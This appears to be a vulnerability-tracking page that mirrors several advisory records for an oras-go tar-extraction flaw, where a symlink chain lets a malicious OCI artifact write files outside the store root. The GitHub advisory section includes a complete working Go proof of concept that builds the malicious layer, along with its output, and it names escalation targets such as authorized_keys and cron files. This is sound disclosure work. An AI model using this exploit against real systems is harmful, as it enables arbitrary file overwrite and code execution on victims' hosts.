oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.

Source published

16 Sep 2026 16:24:48 UTC

Source modified

16 Sep 2026 17:25:07 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.

Source published

Sep 16, 2026, 4:24:48 PM (timezone not stated)

Source modified

Sep 16, 2026, 5:25:07 PM (timezone not stated)

Observed here

11 Nov 2026 17:01:58 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.

Source published

16 Sep 2026 17:18:15 UTC

Source modified

16 Sep 2026 18:17:17 UTC

Observed here

25 Oct 2026 16:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

### Summary The `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive. ### Details **Affected versions:** `<= v2.6.1` **Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: "true"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer. **Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`: ```go func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { // resolve link path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } // ensure path is under baseAbs or baseRel if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil } ``` `filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components. **Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`: ```go // No symbolic link allowed in the relative path dir := filepath.Dir(path) for dir != "." { if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil { ... } else if info.Mode()&os.ModeSymlink != 0 { return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target) } dir = filepath.Dir(dir) } ``` For an entry named `<title>/escape`, `path == "escape"` and `filepath.Dir("escape") == "."`, so the loop body never executes — the entry itself is never `Lstat`-checked. **Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`: ```go file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) ``` No `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target. **Data flow / exploit construction.** Let `baseAbs = <workingDir>/<title>` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order: 1. `N` nested directories `<title>/d0/d1/…/d{N-1}`. 2. A symlink `<title>/d0/…/d{N-1}/up` → `"../../…"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry. 3. A symlink `<title>/escape` → `"d0/…/d{N-1}/up/../../…/<absTarget>"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/<absTarget>` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/<absTarget-parents>`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `<absTarget>` is appended — the symlink points at the attacker-chosen absolute path. 4. A regular file `<title>/escape` (same name). `resolveRelToBase("escape")` yields `dir == "."` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `<absTarget>`. **Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1. **Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations. ### PoC ``` go mod init poc go get oras.land/oras-go/[email protected] go run . ``` ```go // Arbitrary file write outside a default-configured file.Store via // symlink-chain bypass in content/file.extractTarDirectory. // // ensureLinkPath() validates symlink targets purely lexically with // filepath.Join, which collapses ".." textually and does not follow // intermediate symlink components. By first planting a deep "up" symlink // that legitimately resolves to the extraction root, an "escape" symlink // can be crafted whose lexical target stays in-bounds but whose // kernel-resolved target is any absolute path. A follow-up TypeReg entry // with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW), // writing through the symlink. // // Realistic trigger: oras.Copy() from an untrusted registry into a // file.New() store. The attacker controls the manifest (sets // AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob. // All digests are honest, so content verification passes. package main import ( "archive/tar" "bytes" "compress/gzip" "context" _ "crypto/sha256" "fmt" "os" "path/filepath" "strings" "github.com/opencontainers/go-digest" ocispec "github.com/opencontainers/image-spec/specs-go/v1" "oras.land/oras-go/v2/content/file" ) func main() { if err := run(); err != nil { fmt.Println("ERROR:", err) os.Exit(1) } } func run() error { ctx := context.Background() // Victim's working directory for the file store. workDir, err := os.MkdirTemp("", "oras-victim-*") if err != nil { return err } defer os.RemoveAll(workDir) fmt.Println("[*] file.Store working dir:", workDir) // Target path the attacker wants to write, OUTSIDE workDir. // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.; // a temp path keeps the demo self-contained.) outsidePath := filepath.Join(os.TempDir(), "oras-PWNED") _ = os.Remove(outsidePath) defer os.Remove(outsidePath) fmt.Println("[*] attacker target (outside workDir):", outsidePath) // The layer's AnnotationTitle. extractTarDirectory uses this as both the // in-tar prefix and the on-disk subdir under workDir. const title = "out" baseAbs := filepath.Join(workDir, title) // N nested dirs + a symlink "up" -> N*"../" so that after the kernel // follows "up" (landing at baseAbs) the remaining N lexical ".." // components climb from baseAbs to "/". N must be >= depth(baseAbs). depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/")) fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth) gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath) if err != nil { return err } // Descriptor exactly as it would appear in a manifest's "layers" array. desc := ocispec.Descriptor{ MediaType: "application/vnd.oci.image.layer.v1.tar+gzip", Digest: dgst, Size: size, Annotations: map[string]string{ ocispec.AnnotationTitle: title, file.AnnotationUnpack: "true", }, } // Victim creates a file store with default settings (path traversal DISALLOWED). store, err := file.New(workDir) if err != nil { return err } defer store.Close() fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite) // This is exactly what oras.Copy() invokes per layer. if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil { return fmt.Errorf("Push: %w", err) } // Check whether the out-of-tree file was written. if data, err := os.ReadFile(outsidePath); err == nil { rel, _ := filepath.Rel(workDir, outsidePath) fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath) fmt.Printf("[!] relative to workDir: %s\n", rel) fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir") return nil } fmt.Println("\n[-] no escape (file not created at", outsidePath, ")") return nil } // buildMaliciousLayer builds a tar.gz that, when extracted by // content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath. func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) { var buf bytes.Buffer gzw := gzip.NewWriter(&buf) tw := tar.NewWriter(gzw) // 1. Nested directories: title/d0/d1/.../d{depth-1} dirs := make([]string, depth) for i := 0; i < depth; i++ { dirs[i] = fmt.Sprintf("d%d", i) } for i := 1; i <= depth; i++ { name := title + "/" + strings.Join(dirs[:i], "/") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil { return nil, "", 0, err } } // 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../". // Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath. upName := title + "/" + strings.Join(dirs, "/") + "/up" upTarget := strings.Repeat("../", depth-1) + ".." if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 3. "escape" symlink at title/escape. // Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath> // LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving // d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it. // KERNEL: d0/.../up follows the symlink to baseAbs, then N*".." // climbs to "/", then appends outsidePath. dots := strings.Repeat("../", depth-1) + ".." escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 4. Regular file entry at title/escape - same path as the symlink. // resolveRelToBase("escape") has dir=="." so the per-component Lstat // loop never runs; writeFile opens with O_CREATE|O_TRUNC (no // O_NOFOLLOW) and writes through the symlink to outsidePath. payload := []byte("PWNED-BY-ORAS-TARSLIP") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil { return nil, "", 0, err } if _, err := tw.Write(payload); err != nil { return nil, "", 0, err } if err := tw.Close(); err != nil { return nil, "", 0, err } if err := gzw.Close(); err != nil { return nil, "", 0, err } data := buf.Bytes() return data, digest.FromBytes(data), int64(len(data)), nil } ``` Expected output (paths vary): ``` [*] file.Store working dir: /tmp/oras-victim-209731351 [*] attacker target (outside workDir): /tmp/oras-PWNED [*] baseAbs depth = 3, building 3 nested dirs [*] store.AllowPathTraversalOnWrite = false [!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED [!] relative to workDir: ../oras-PWNED [!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir ``` ### Impact **Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk. **What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host. **Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).

Source published

17 Sep 2026 17:15:57 UTC

Source modified

1 Oct 2026 20:55:50 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH

Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir) in oras.land/oras-go

Source published

1 Oct 2026 20:23:52 UTC

Source modified

1 Oct 2026 20:45:12 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.